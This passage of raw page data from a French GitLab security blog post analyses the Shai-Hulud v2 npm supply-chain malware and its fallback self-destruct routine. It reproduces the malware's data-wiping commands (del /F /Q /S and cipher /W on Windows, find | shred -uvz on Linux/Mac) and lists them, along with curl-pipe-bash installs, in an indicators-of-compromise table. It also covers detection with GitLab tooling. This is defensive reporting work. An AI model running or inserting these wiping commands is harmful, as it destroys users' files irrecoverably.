access\n",[110,1318,1319,1321,1323,1326,1329,1332,1335,1337,1340,1342,1345],{"class":112,"line":198},[110,1320,574],{"class":127},[110,1322,577],{"class":123},[110,1324,1325],{"class":127},"!",[110,1327,1328],{"class":123},"githubApi.",[110,1330,1331],{"class":154},"isAuthenticated",[110,1333,1334],{"class":123},"() ",[110,1336,1115],{"class":127},[110,1338,1339],{"class":127}," !",[110,1341,1328],{"class":123},[110,1343,1344],{"class":154},"repoExists",[110,1346,590],{"class":123},[110,1348,1349,1351,1354,1356,1358,1361,1363,1366],{"class":112,"line":210},[110,1350,595],{"class":127},[110,1352,1353],{"class":123}," fetchedToken ",[110,1355,176],{"class":127},[110,1357,391],{"class":127},[110,1359,1360],{"class":123}," githubApi.",[110,1362,686],{"class":154},[110,1364,1365],{"class":123},"(); ",[110,1367,1368],{"class":116},"// Search for tokens in compromised repos\n",[110,1370,1371],{"class":112,"line":217},[110,1372,214],{"emptyLinePlaceholder":213},[110,1374,1375,1377,1379,1381,1384],{"class":112,"line":232},[110,1376,869],{"class":127},[110,1378,577],{"class":123},[110,1380,1325],{"class":127},[110,1382,1383],{"class":123},"fetchedToken) {  ",[110,1385,1386],{"class":116},"// No GitHub access possible\n",[110,1388,1389,1392],{"class":112,"line":237},[110,1390,1391],{"class":127},"      if",[110,1393,1394],{"class":123}," (npmToken) {\n",[110,1396,1397],{"class":112,"line":243},[110,1398,1399],{"class":116},"        // Fallback to NPM propagation only\n",[110,1401,1402,1405,1408],{"class":112,"line":258},[110,1403,1404],{"class":127},"        await",[110,1406,1407],{"class":154}," El",[110,1409,1410],{"class":123},"(npmToken);\n",[110,1412,1413,1416,1419],{"class":112,"line":616},[110,1414,1415],{"class":123},"      } ",[110,1417,1418],{"class":127},"else",[110,1420,1421],{"class":123}," {\n",[110,1423,1424],{"class":112,"line":622},[110,1425,1426],{"class":116},"        // DESTRUCTION TRIGGER: No GitHub AND no NPM access\n",[110,1428,1429,1432,1435,1437,1440],{"class":112,"line":628},[110,1430,1431],{"class":123},"        console.",[110,1433,1434],{"class":154},"log",[110,1436,427],{"class":123},[110,1438,1439],{"class":185},"\"Error 12\"",[110,1441,1149],{"class":123},[110,1443,1444,1447,1450,1452,1455],{"class":112,"line":643},[110,1445,1446],{"class":127},"        if",[110,1448,1449],{"class":123}," (platform ",[110,1451,182],{"class":127},[110,1453,1454],{"class":185}," \"windows\"",[110,1456,481],{"class":123},[110,1458,1459],{"class":112,"line":649},[110,1460,1461],{"class":116},"          // Attempts to delete all user files and overwrite disk sectors\n",[110,1463,1464,1467,1470,1473,1476,1478,1481],{"class":112,"line":654},[110,1465,1466],{"class":123},"          Bun.",[110,1468,1469],{"class":154},"spawnSync",[110,1471,1472],{"class":123},"([",[110,1474,1475],{"class":185},"\"cmd.exe\"",[110,1477,525],{"class":123},[110,1479,1480],{"class":185},"\"/c\"",[110,1482,433],{"class":123},[110,1484,1485,1488,1491,1494,1496,1499],{"class":112,"line":663},[110,1486,1487],{"class":185},"            \"del /F /Q /S ",[110,1489,1490],{"class":438},"\\\"",[110,1492,1493],{"class":185},"%USERPROFILE%*",[110,1495,1490],{"class":438},[110,1497,1498],{"class":185}," && \"",[110,1500,1501],{"class":127}," +\n",[110,1503,1504,1507,1509,1511,1513,1516,1518,1521,1523,1526],{"class":112,"line":902},[110,1505,1506],{"class":185},"            \"for /d %%i in (",[110,1508,1490],{"class":438},[110,1510,1493],{"class":185},[110,1512,1490],{"class":438},[110,1514,1515],{"class":185},") do rd /S /Q ",[110,1517,1490],{"class":438},[110,1519,1520],{"class":185},"%%i",[110,1522,1490],{"class":438},[110,1524,1525],{"class":185}," & \"",[110,1527,1501],{"class":127},[110,1529,1530,1533],{"class":112,"line":907},[110,1531,1532],{"class":185},"            \"cipher /W:%USERPROFILE%\"",[110,1534,1535],{"class":116},"  // Overwrite deleted data\n",[110,1537,1538],{"class":112,"line":921},[110,1539,1540],{"class":123},"          ]);\n",[110,1542,1544,1547,1549],{"class":112,"line":1543},24,[110,1545,1546],{"class":123},"        } ",[110,1548,1418],{"class":127},[110,1550,1421],{"class":123},[110,1552,1554],{"class":112,"line":1553},25,[110,1555,1556],{"class":116},"          // Attempts to shred all writable files in home directory\n",[110,1558,1560,1562,1564,1566,1569,1571,1574],{"class":112,"line":1559},26,[110,1561,1466],{"class":123},[110,1563,1469],{"class":154},[110,1565,1472],{"class":123},[110,1567,1568],{"class":185},"\"bash\"",[110,1570,525],{"class":123},[110,1572,1573],{"class":185},"\"-c\"",[110,1575,433],{"class":123},[110,1577,1579,1582,1584,1587,1589,1592,1594,1597,1599,1602],{"class":112,"line":1578},27,[110,1580,1581],{"class":185},"            \"find ",[110,1583,1490],{"class":438},[110,1585,1586],{"class":185},"$HOME",[110,1588,1490],{"class":438},[110,1590,1591],{"class":185}," -type f -writable -user ",[110,1593,1490],{"class":438},[110,1595,1596],{"class":185},"$(id -un)",[110,1598,1490],{"class":438},[110,1600,1601],{"class":185}," -print0 | \"",[110,1603,1501],{"class":127},[110,1605,1607,1610,1613],{"class":112,"line":1606},28,[110,1608,1609],{"class":185},"            \"xargs -0 -r shred -uvz -n 1 && \"",[110,1611,1612],{"class":127}," +",[110,1614,1615],{"class":116},"  // Overwrite and delete\n",[110,1617,1619,1621,1623,1625,1627,1630],{"class":112,"line":1618},29,[110,1620,1581],{"class":185},[110,1622,1490],{"class":438},[110,1624,1586],{"class":185},[110,1626,1490],{"class":438},[110,1628,1629],{"class":185}," -depth -type d -empty -delete\"",[110,1631,1632],{"class":116},"  // Remove empty dirs\n",[110,1634,1636],{"class":112,"line":1635},30,[110,1637,1540],{"class":123},[110,1639,1641],{"class":112,"line":1640},31,[110,1642,1643],{"class":123},"        }\n",[110,1645,1647,1650,1653,1655,1658],{"class":112,"line":1646},32,[110,1648,1649],{"class":123},"        process.",[110,1651,1652],{"class":154},"exit",[110,1654,427],{"class":123},[110,1656,1657],{"class":438},"0",[110,1659,1149],{"class":123},[110,1661,1663],{"class":112,"line":1662},33,[110,1664,1665],{"class":123},"      }\n",[110,1667,1669],{"class":112,"line":1668},34,[110,1670,899],{"class":123},[110,1672,1674],{"class":112,"line":1673},35,[110,1675,646],{"class":123},[110,1677,1679],{"class":112,"line":1678},36,[110,1680,261],{"class":123},[13,1682,1683],{},"Ce scénario est dangereux : si GitHub supprime en masse les dépôts du malware ou si npm révoque en masse les tokens compromis, des milliers de systèmes infectés pourraient simultanément détruire les données des utilisateurs. La nature distribuée de l'attaque signifie que chaque machine infectée surveille indépendamment l'accès et déclenche la suppression des données de l'utilisateur lorsqu'une neutralisation est détectée.",[37,1685,1687],{"id":1686},"indicateurs-de-compromission","Indicateurs de compromission",[13,1689,1690],{},"Pour faciliter la détection et la réponse, vous retrouverez ci-dessous une liste plus complète des principaux indicateurs de compromission identifiés lors de notre analyse.",[1692,1693,1694,1711],"table",{},[1695,1696,1697],"thead",{},[1698,1699,1700,1705,1708],"tr",{},[1701,1702,1704],"th",{"align":1703},"left","Type",[1701,1706,1707],{"align":1703},"Indicator",[1701,1709,1710],{"align":1703},"Description",[1712,1713,1714,1729,1744,1758,1772,1786,1801,1815,1829,1844],"tbody",{},[1698,1715,1716,1722,1726],{},[1717,1718,1719],"td",{"align":1703},[27,1720,1721],{},"fichier",[1717,1723,1724],{"align":1703},[92,1725,270],{},[1717,1727,1728],{"align":1703},"Script post-installation malveillant dans les répertoires node_modules",[1698,1730,1731,1736,1741],{},[1717,1732,1733],{"align":1703},[27,1734,1735],{},"répertoire",[1717,1737,1738],{"align":1703},[92,1739,1740],{},".truffler-cache/",[1717,1742,1743],{"align":1703},"Répertoire caché créé dans le répertoire personnel de l'utilisateur pour le stockage du binaire Trufflehog",[1698,1745,1746,1750,1755],{},[1717,1747,1748],{"align":1703},[27,1749,1735],{},[1717,1751,1752],{"align":1703},[92,1753,1754],{},".truffler-cache/extract/",[1717,1756,1757],{"align":1703},"Répertoire temporaire utilisé pour l'extraction du binaire",[1698,1759,1760,1764,1769],{},[1717,1761,1762],{"align":1703},[27,1763,1721],{},[1717,1765,1766],{"align":1703},[92,1767,1768],{},".truffler-cache/trufflehog",[1717,1770,1771],{"align":1703},"Binaire Trufflehog téléchargé (Linux/Mac)",[1698,1773,1774,1778,1783],{},[1717,1775,1776],{"align":1703},[27,1777,1721],{},[1717,1779,1780],{"align":1703},[92,1781,1782],{},".truffler-cache/trufflehog.exe",[1717,1784,1785],{"align":1703},"Binaire Trufflehog téléchargé (Windows)",[1698,1787,1788,1793,1798],{},[1717,1789,1790],{"align":1703},[27,1791,1792],{},"processus",[1717,1794,1795],{"align":1703},[92,1796,1797],{},"del /F /Q /S \"%USERPROFILE%*\"",[1717,1799,1800],{"align":1703},"Commande de charge utile destructrice Windows",[1698,1802,1803,1807,1812],{},[1717,1804,1805],{"align":1703},[27,1806,1792],{},[1717,1808,1809],{"align":1703},[92,1810,1811],{},"shred -uvz -n 1",[1717,1813,1814],{"align":1703},"Commande de charge utile destructrice Linux/Mac",[1698,1816,1817,1821,1826],{},[1717,1818,1819],{"align":1703},[27,1820,1792],{},[1717,1822,1823],{"align":1703},[92,1824,1825],{},"cipher /W:%USERPROFILE%",[1717,1827,1828],{"align":1703},"Commande de suppression sécurisée Windows dans la charge utile",[1698,1830,1831,1836,1841],{},[1717,1832,1833],{"align":1703},[27,1834,1835],{},"commande",[1717,1837,1838],{"align":1703},[92,1839,1840],{},"curl -fsSL https://bun.sh/install | bash",[1717,1842,1843],{"align":1703},"Installation Bun suspecte pendant l'installation du paquet NPM",[1698,1845,1846,1850,1855],{},[1717,1847,1848],{"align":1703},[27,1849,1835],{},[1717,1851,1852],{"align":1703},[92,1853,1854],{},"powershell -c \"irm bun.sh/install.ps1|iex\"",[1717,1856,1857],{"align":1703},"Installation de Bun sous Windows via PowerShell",[37,1859,1861],{"id":1860},"comment-gitlab-peut-elle-vous-aider-à-détecter-cette-attaque","Comment GitLab peut-elle vous aider à détecter cette attaque ?",[13,1863,1864],{},"Si vous utilisez GitLab Ultimate, vous pouvez exploiter les capacités de sécurité intégrées pour identifier immédiatement l'exposition liée à cette attaque au sein de vos projets.",[13,1866,1867,1868,1875,1876,1887,1888,323],{},"Tout d'abord, activez l'",[17,1869,1872],{"href":1870,"rel":1871},"https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/",[],[27,1873,1874],{},"analyse des dépendances"," pour analyser automatiquement les dépendances de votre projet par rapport aux bases de données de vulnérabilités connues. ",[27,1877,1878,1879,1882,1883,1886],{},"Si des paquets infectés sont présents dans vos fichiers ",[92,1880,1881],{},"package-lock.json"," ou ",[92,1884,1885],{},"yarn.lock",", l'analyse des dépendances les signalera dans les résultats de votre pipeline et dans le rapport de vulnérabilités."," Pour obtenir des instructions complètes de configuration, consultez notre ",[17,1889,1892],{"href":1890,"rel":1891},"https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer",[],"documentation",[13,1894,1895],{},"Une fois activées, les merge requests qui introduisent un paquet compromis afficheront un avertissement avant que le code n'atteigne votre branche principale.",[13,1897,1898,1905],{},[27,1899,1900],{},[17,1901,1904],{"href":1902,"rel":1903},"https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/",[],"GitLab Duo Chat"," peut être également utilisé avec l'analyse des dépendances afin de vérifier rapidement l'exposition de votre projet sans naviguer dans les rapports.",[13,1907,1908,1909,1914],{},"Dans le menu déroulant, sélectionnez l'",[17,1910,1913],{"href":1911,"rel":1912},"https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/",[],"agent Security Analyst"," et posez des questions comme :",[52,1916,1917,1920,1923],{},[55,1918,1919],{},"« Est-ce que l'une de mes dépendances est affectée par l'attaque de logiciels malveillants Shai-Hulud v2 ? »",[55,1921,1922],{},"« Ce projet a-t-il des vulnérabilités liées à la chaîne d'approvisionnement npm ? »",[55,1924,1925],{},"« Montre-moi les vulnérabilités critiques dans mes dépendances JavaScript. »",[13,1927,1928],{},"L'agent interrogera les données de vulnérabilité de votre projet et fournira une réponse directe afin d'aider les équipes de sécurité à identifier rapidement les projets impactés.",[79,1930],{"src":1931,"alt":1932},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png","Résultats de l'agent analyste de sécurité GitLab",[13,1934,1935,1936,1941],{},"Pour les équipes qui gèrent de nombreux dépôts, nous recommandons de combiner l'analyse des dépendances pour une détection automatisée continue dans le ",[17,1937,1940],{"href":1938,"rel":1939},"https://about.gitlab.com/fr-fr/topics/ci-cd/",[],"CI/CD"," et l'agent Security Analyst pour des investigations ponctuelles et une réponse rapide lors d'incidents comme celui-ci.",[37,1943,1945],{"id":1944},"et-après","Et après ?",[13,1947,1948],{},"Cette attaque représente une évolution dans les attaques de la chaîne d'approvisionnement, car la menace de dommages collatéraux devient le principal mécanisme de défense de l'infrastructure des attaquants. Nous poursuivons notre enquête et collaborons avec la communauté afin de comprendre l'étendue complète de cette attaque et de développer des stratégies de correction sûres.",[13,1950,1951],{},"Les systèmes de détection automatisés de GitLab continuent de surveiller les nouvelles infections et les variantes de cette attaque. En partageant nos conclusions rapidement, nous espérons aider la communauté à répondre efficacement tout en évitant les pièges créés par le mécanisme d'autodestruction du logiciel malveillant.",[1953,1954,1955],"style",{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .s7eDp, html code.shiki .s7eDp{--shiki-default:#6F42C1}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html pre.shiki code .sqxcx, html code.shiki .sqxcx{--shiki-default:#E36209}",{"title":106,"searchDepth":120,"depth":120,"links":1957},[1958,1959,1965,1966,1967,1968],{"id":39,"depth":120,"text":40},{"id":74,"depth":120,"text":75,"children":1960},[1961,1962,1963,1964],{"id":86,"depth":145,"text":87},{"id":274,"depth":145,"text":275},{"id":454,"depth":145,"text":455},{"id":926,"depth":145,"text":927},{"id":1234,"depth":120,"text":1235},{"id":1686,"depth":120,"text":1687},{"id":1860,"depth":120,"text":1861},{"id":1944,"depth":120,"text":1945},"security-labs","2025-11-25","Le logiciel malveillant à l'origine de cette attaque comprend un mécanisme d'autodestruction capable de supprimer les données des utilisateurs.","md",null,false,"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749665667/Blog/Hero%20Images/built-in-security.jpg",{},"/fr-fr/blog/gitlab-discovers-widespread-npm-supply-chain-attack",{"config":1979,"ogImage":1975,"title":1980,"description":1971},{"noIndex":1974},"GitLab découvre une attaque sur npm","gitlab-discovers-widespread-npm-supply-chain-attack","fr-fr/blog/gitlab-discovers-widespread-npm-supply-chain-attack",[1984,1985],"security research","security","BlogPost","AblT2WixKyunKQhA9Qf6ZY5VDsMS-DjAcnHYFxZBa5w",{"logo":1989,"freeTrial":1994,"sales":1999,"login":2004,"items":2009,"search":2337,"minimal":2373,"duo":2392,"switchNav":2401,"pricingDeployment":2412},{"config":1990},{"href":1991,"dataGaName":1992,"dataGaLocation":1993},"/fr-fr/","gitlab logo","header",{"text":1995,"config":1996},"Commencer un essai gratuit",{"href":1997,"dataGaName":1998,"dataGaLocation":1993},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr&glm_content=default-saas-trial/","free trial",{"text":2000,"config":2001},"Demander une démo",{"href":2002,"dataGaName":2003,"dataGaLocation":1993},"/fr-fr/sales/?contact-topic=request-demo","sales",{"text":2005,"config":2006},"Connexion",{"href":2007,"dataGaName":2008,"dataGaLocation":1993},"https://gitlab.com/users/sign_in/","sign in",[2010,2039,2140,2145,2259,2315],{"text":2011,"config":2012,"menu":2014},"Plateforme",{"dataNavLevelOne":2013},"platform",{"type":2015,"columns":2016},"cards",[2017,2023,2031],{"title":2011,"description":2018,"link":2019},"La plateforme d'orchestration intelligente pour le DevSecOps",{"text":2020,"config":2021},"Explorer notre plateforme",{"href":2022,"dataGaName":2013,"dataGaLocation":1993},"/fr-fr/platform/",{"title":2024,"description":2025,"link":2026},"GitLab Duo Agent Platform","L'IA agentique pour l'ensemble du cycle de développement logiciel",{"text":2027,"config":2028},"Découvrir GitLab Duo",{"href":2029,"dataGaName":2030,"dataGaLocation":1993},"/fr-fr/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":2032,"description":2033,"link":2034},"Pourquoi GitLab ?","Découvrez les principales raisons pour lesquelles les entreprises choisissent GitLab",{"text":2035,"config":2036},"En savoir plus",{"href":2037,"dataGaName":2038,"dataGaLocation":1993},"/fr-fr/why-gitlab/","why gitlab",{"text":2040,"left":213,"config":2041,"menu":2043},"Produit",{"dataNavLevelOne":2042},"solutions",{"type":2044,"link":2045,"columns":2049,"feature":2119},"lists",{"text":2046,"config":2047},"Voir toutes les solutions",{"href":2048,"dataGaName":2042,"dataGaLocation":1993},"/fr-fr/solutions/",[2050,2074,2097],{"title":2051,"description":2052,"link":2053,"items":2058},"Automatisation","CI/CD et automatisation pour accélérer le déploiement",{"config":2054},{"icon":2055,"href":2056,"dataGaName":2057,"dataGaLocation":1993},"AutomatedCodeAlt","/fr-fr/solutions/delivery-automation/","automated software delivery",[2059,2062,2065,2070],{"text":1940,"config":2060},{"href":2061,"dataGaLocation":1993,"dataGaName":1940},"/fr-fr/solutions/continuous-integration/",{"text":2024,"config":2063},{"href":2029,"dataGaLocation":1993,"dataGaName":2064},"gitlab duo agent platform - product menu",{"text":2066,"config":2067},"Gestion du code source",{"href":2068,"dataGaLocation":1993,"dataGaName":2069},"/fr-fr/solutions/source-code-management/","Source Code Management",{"text":2071,"config":2072},"Livraison de logiciels automatisée",{"href":2056,"dataGaLocation":1993,"dataGaName":2073},"Automated software delivery",{"title":2075,"description":2076,"link":2077,"items":2082},"Sécurité","Livrez du code plus rapidement sans compromettre la sécurité",{"config":2078},{"href":2079,"dataGaName":2080,"dataGaLocation":1993,"icon":2081},"/fr-fr/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[2083,2087,2092],{"text":2084,"config":2085},"Tests de sécurité des applications",{"href":2079,"dataGaName":2086,"dataGaLocation":1993},"Application security testing",{"text":2088,"config":2089},"Sécurité de la chaîne d'approvisionnement logicielle",{"href":2090,"dataGaLocation":1993,"dataGaName":2091},"/fr-fr/solutions/supply-chain/","Software supply chain security",{"text":2093,"config":2094},"Conformité logicielle",{"href":2095,"dataGaName":2096,"dataGaLocation":1993},"/fr-fr/solutions/software-compliance/","software compliance",{"title":2098,"link":2099,"items":2104},"Mesures",{"config":2100},{"icon":2101,"href":2102,"dataGaName":2103,"dataGaLocation":1993},"DigitalTransformation","/fr-fr/solutions/visibility-measurement/","visibility and measurement",[2105,2109,2114],{"text":2106,"config":2107},"Visibilité et mesures",{"href":2102,"dataGaLocation":1993,"dataGaName":2108},"Visibility and Measurement",{"text":2110,"config":2111},"Gestion de la chaîne de valeur",{"href":2112,"dataGaLocation":1993,"dataGaName":2113},"/fr-fr/solutions/value-stream-management/","Value Stream Management",{"text":2115,"config":2116},"Analyses et informations",{"href":2117,"dataGaLocation":1993,"dataGaName":2118},"/fr-fr/solutions/analytics-and-insights/","Analytics and insights",{"title":2120,"type":2044,"items":2121},"GitLab",[2122,2128,2134],{"text":2123,"config":2124},"Entreprises",{"icon":2125,"href":2126,"dataGaLocation":1993,"dataGaName":2127},"Building","/fr-fr/enterprise/","enterprise",{"text":2129,"config":2130},"Pour les PME",{"icon":2131,"href":2132,"dataGaLocation":1993,"dataGaName":2133},"Work","/fr-fr/small-business/","small business",{"text":2135,"config":2136},"Pour le secteur public",{"icon":2137,"href":2138,"dataGaLocation":1993,"dataGaName":2139},"Organization","/fr-fr/solutions/public-sector/","public sector",{"text":2141,"config":2142},"Tarifs",{"href":2143,"dataGaName":2144,"dataGaLocation":1993,"dataNavLevelOne":2144},"/fr-fr/pricing/","pricing",{"text":2146,"config":2147,"menu":2149},"Ressources",{"dataNavLevelOne":2148},"resources",{"type":2044,"link":2150,"columns":2154,"feature":2248},{"text":2151,"config":2152},"Afficher toutes les ressources",{"href":2153,"dataGaName":2148,"dataGaLocation":1993},"/fr-fr/resources/",[2155,2188,2215],{"title":2156,"items":2157},"Premiers pas",[2158,2163,2168,2173,2178,2183],{"text":2159,"config":2160},"Installation",{"href":2161,"dataGaName":2162,"dataGaLocation":1993},"/fr-fr/install/","install",{"text":2164,"config":2165},"Guides de démarrage",{"href":2166,"dataGaName":2167,"dataGaLocation":1993},"/fr-fr/get-started/","quick setup checklists",{"text":2169,"config":2170},"Apprentissage",{"href":2171,"dataGaLocation":1993,"dataGaName":2172},"https://university.gitlab.com/","learn",{"text":2174,"config":2175},"Documentation",{"href":2176,"dataGaName":2177,"dataGaLocation":1993},"https://docs.gitlab.com/","product documentation",{"text":2179,"config":2180},"Vidéos sur les bonnes pratiques",{"href":2181,"dataGaName":2182,"dataGaLocation":1993},"/fr-fr/getting-started-videos/","best practice videos",{"text":2184,"config":2185},"Intégrations",{"href":2186,"dataGaName":2187,"dataGaLocation":1993},"/fr-fr/integrations/","integrations",{"title":2189,"items":2190},"Découvrir",[2191,2196,2201,2206,2210],{"text":2192,"config":2193},"Témoignages clients",{"href":2194,"dataGaName":2195,"dataGaLocation":1993},"/fr-fr/customers/","customer success stories",{"text":2197,"config":2198},"Blog",{"href":2199,"dataGaName":2200,"dataGaLocation":1993},"/fr-fr/blog/","blog",{"text":2202,"config":2203},"Demo Hub",{"href":2204,"dataGaName":2205,"dataGaLocation":1993},"/fr-fr/demo-hub/","demo hub",{"text":2207,"config":2208},"The Source",{"href":2209,"dataGaName":2200,"dataGaLocation":1993},"/fr-fr/the-source/",{"text":2211,"config":2212},"Travail à distance",{"href":2213,"dataGaName":2214,"dataGaLocation":1993},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":2216,"items":2217},"Connecter",[2218,2223,2228,2233,2238,2243],{"text":2219,"config":2220},"Services GitLab",{"href":2221,"dataGaName":2222,"dataGaLocation":1993},"/fr-fr/services/","services",{"text":2224,"config":2225},"Contribuer",{"href":2226,"dataGaName":2227,"dataGaLocation":1993},"https://contributors.gitlab.com","contribute",{"text":2229,"config":2230},"Communauté",{"href":2231,"dataGaName":2232,"dataGaLocation":1993},"/community/","community",{"text":2234,"config":2235},"Forum",{"href":2236,"dataGaName":2237,"dataGaLocation":1993},"https://forum.gitlab.com/","forum",{"text":2239,"config":2240},"Événements",{"href":2241,"dataGaName":2242,"dataGaLocation":1993},"/events/","events",{"text":2244,"config":2245},"Partenaires",{"href":2246,"dataGaName":2247,"dataGaLocation":1993},"/fr-fr/partners/","partners",{"config":2249,"title":2252,"text":2253,"link":2254},{"background":2250,"textColor":2251},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","Nouveautés de GitLab","Découvrez les dernières fonctionnalités et améliorations.",{"text":2255,"config":2256},"Lire les articles les plus récents",{"href":2257,"dataGaName":2258,"dataGaLocation":1993},"/fr-fr/whats-new/","whats new",{"text":2260,"config":2261,"menu":2263},"Société",{"dataNavLevelOne":2262},"company",{"type":2044,"columns":2264},[2265],{"items":2266},[2267,2272,2278,2280,2285,2290,2295,2300,2305,2310],{"text":2268,"config":2269},"À propos",{"href":2270,"dataGaName":2271,"dataGaLocation":1993},"/fr-fr/company/","about",{"text":2273,"config":2274,"footerGa":2277},"Carrières",{"href":2275,"dataGaName":2276,"dataGaLocation":1993},"/jobs/","jobs",{"dataGaName":2276},{"text":2239,"config":2279},{"href":2241,"dataGaName":2242,"dataGaLocation":1993},{"text":2281,"config":2282},"Leadership",{"href":2283,"dataGaName":2284,"dataGaLocation":1993},"/company/team/e-group/","leadership",{"text":2286,"config":2287},"Manuel",{"href":2288,"dataGaName":2289,"dataGaLocation":1993},"https://handbook.gitlab.com/","handbook",{"text":2291,"config":2292},"Relations avec les investisseurs",{"href":2293,"dataGaName":2294,"dataGaLocation":1993},"https://ir.gitlab.com/overview/default.aspx","investor relations",{"text":2296,"config":2297},"Trust Center",{"href":2298,"dataGaName":2299,"dataGaLocation":1993},"/fr-fr/security/","trust center",{"text":2301,"config":2302},"Centre pour la transparence de l'IA",{"href":2303,"dataGaName":2304,"dataGaLocation":1993},"/fr-fr/ai-transparency-center/","ai transparency center",{"text":2306,"config":2307},"Newsletter",{"href":2308,"dataGaName":2309,"dataGaLocation":1993},"/company/contact/#contact-forms","newsletter",{"text":2311,"config":2312},"Presse",{"href":2313,"dataGaName":2314,"dataGaLocation":1993},"/press/","press",{"text":2316,"config":2317,"menu":2318},"Nous contacter",{"dataNavLevelOne":2262},{"type":2044,"columns":2319},[2320],{"items":2321},[2322,2327,2332],{"text":2323,"config":2324},"Contacter l'équipe commerciale",{"href":2325,"dataGaName":2326,"dataGaLocation":1993},"/fr-fr/sales/","talk to sales",{"text":2328,"config":2329},"Assistance GitLab",{"href":2330,"dataGaName":2331,"dataGaLocation":1993},"https://support.gitlab.com/hc/en-us","support portal",{"text":2333,"config":2334},"Portail clients GitLab",{"href":2335,"dataGaName":2336,"dataGaLocation":1993},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":2338,"login":2339,"suggestions":2346},"Fermer",{"text":2340,"link":2341},"Pour rechercher des dépôts et des projets, connectez-vous à",{"text":2342,"config":2343},"GitLab.com",{"href":2007,"dataGaName":2344,"dataGaLocation":2345},"search login","search",{"text":2347,"default":2348},"Suggestions",[2349,2352,2357,2359,2364,2369],{"text":2024,"config":2350},{"href":2029,"dataGaName":2351,"dataGaLocation":2345},"GitLab Duo Agent Platform",{"text":2353,"config":2354},"Suggestions de code (IA)",{"href":2355,"dataGaName":2356,"dataGaLocation":2345},"/fr-fr/solutions/code-suggestions/","Code Suggestions (AI)",{"text":1940,"config":2358},{"href":2061,"dataGaName":1940,"dataGaLocation":2345},{"text":2360,"config":2361},"GitLab sur AWS",{"href":2362,"dataGaName":2363,"dataGaLocation":2345},"/fr-fr/partners/technology-partners/aws/","GitLab on AWS",{"text":2365,"config":2366},"GitLab sur Google Cloud",{"href":2367,"dataGaName":2368,"dataGaLocation":2345},"/fr-fr/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":2370,"config":2371},"Pourquoi utiliser GitLab ?",{"href":2037,"dataGaName":2372,"dataGaLocation":2345},"Why GitLab?",{"freeTrial":2374,"mobileIcon":2379,"desktopIcon":2384,"secondaryButton":2387},{"text":2375,"config":2376},"Commencer votre essai gratuit",{"href":2377,"dataGaName":1998,"dataGaLocation":2378},"https://gitlab.com/-/trials/new/","nav",{"altText":2380,"config":2381},"Icône GitLab",{"src":2382,"dataGaName":2383,"dataGaLocation":2378},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":2380,"config":2385},{"src":2386,"dataGaName":2383,"dataGaLocation":2378},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":2388,"config":2389},"Commencer",{"href":2390,"dataGaName":2391,"dataGaLocation":2378},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr/get-started/","get started",{"freeTrial":2393,"mobileIcon":2397,"desktopIcon":2399},{"text":2394,"config":2395},"En savoir plus sur GitLab Duo",{"href":2029,"dataGaName":2396,"dataGaLocation":2378},"gitlab duo",{"altText":2380,"config":2398},{"src":2382,"dataGaName":2383,"dataGaLocation":2378},{"altText":2380,"config":2400},{"src":2386,"dataGaName":2383,"dataGaLocation":2378},{"button":2402,"mobileIcon":2407,"desktopIcon":2409},{"text":2403,"config":2404},"/switch",{"href":2405,"dataGaName":2406,"dataGaLocation":2378},"#contact","switch",{"altText":2380,"config":2408},{"src":2382,"dataGaName":2383,"dataGaLocation":2378},{"altText":2380,"config":2410},{"src":2411,"dataGaName":2383,"dataGaLocation":2378},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":2413,"mobileIcon":2418,"desktopIcon":2420},{"text":2414,"config":2415},"Retour aux tarifs",{"href":2143,"dataGaName":2416,"dataGaLocation":2378,"icon":2417},"back to pricing","GoBack",{"altText":2380,"config":2419},{"src":2382,"dataGaName":2383,"dataGaLocation":2378},{"altText":2380,"config":2421},{"src":2386,"dataGaName":2383,"dataGaLocation":2378},{"title":2423,"button":2424,"config":2428},"GitLab Orbit est arrivé : la couche de contexte pour les agents d'IA.",{"text":2035,"config":2425},{"href":2426,"dataGaName":2427,"dataGaLocation":1993},"/fr-fr/gitlab-orbit/","orbit",{"layout":2429,"disabled":1974},"release",{"data":2431},{"text":2432,"source":2433,"edit":2439,"contribute":2444,"config":2448,"items":2453,"minimal":2661},"Git est une marque déposée de Software Freedom Conservancy et notre utilisation de « GitLab » est sous licence.",{"text":2434,"config":2435},"Afficher le code source de la page",{"href":2436,"dataGaName":2437,"dataGaLocation":2438},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":2440,"config":2441},"Modifier cette 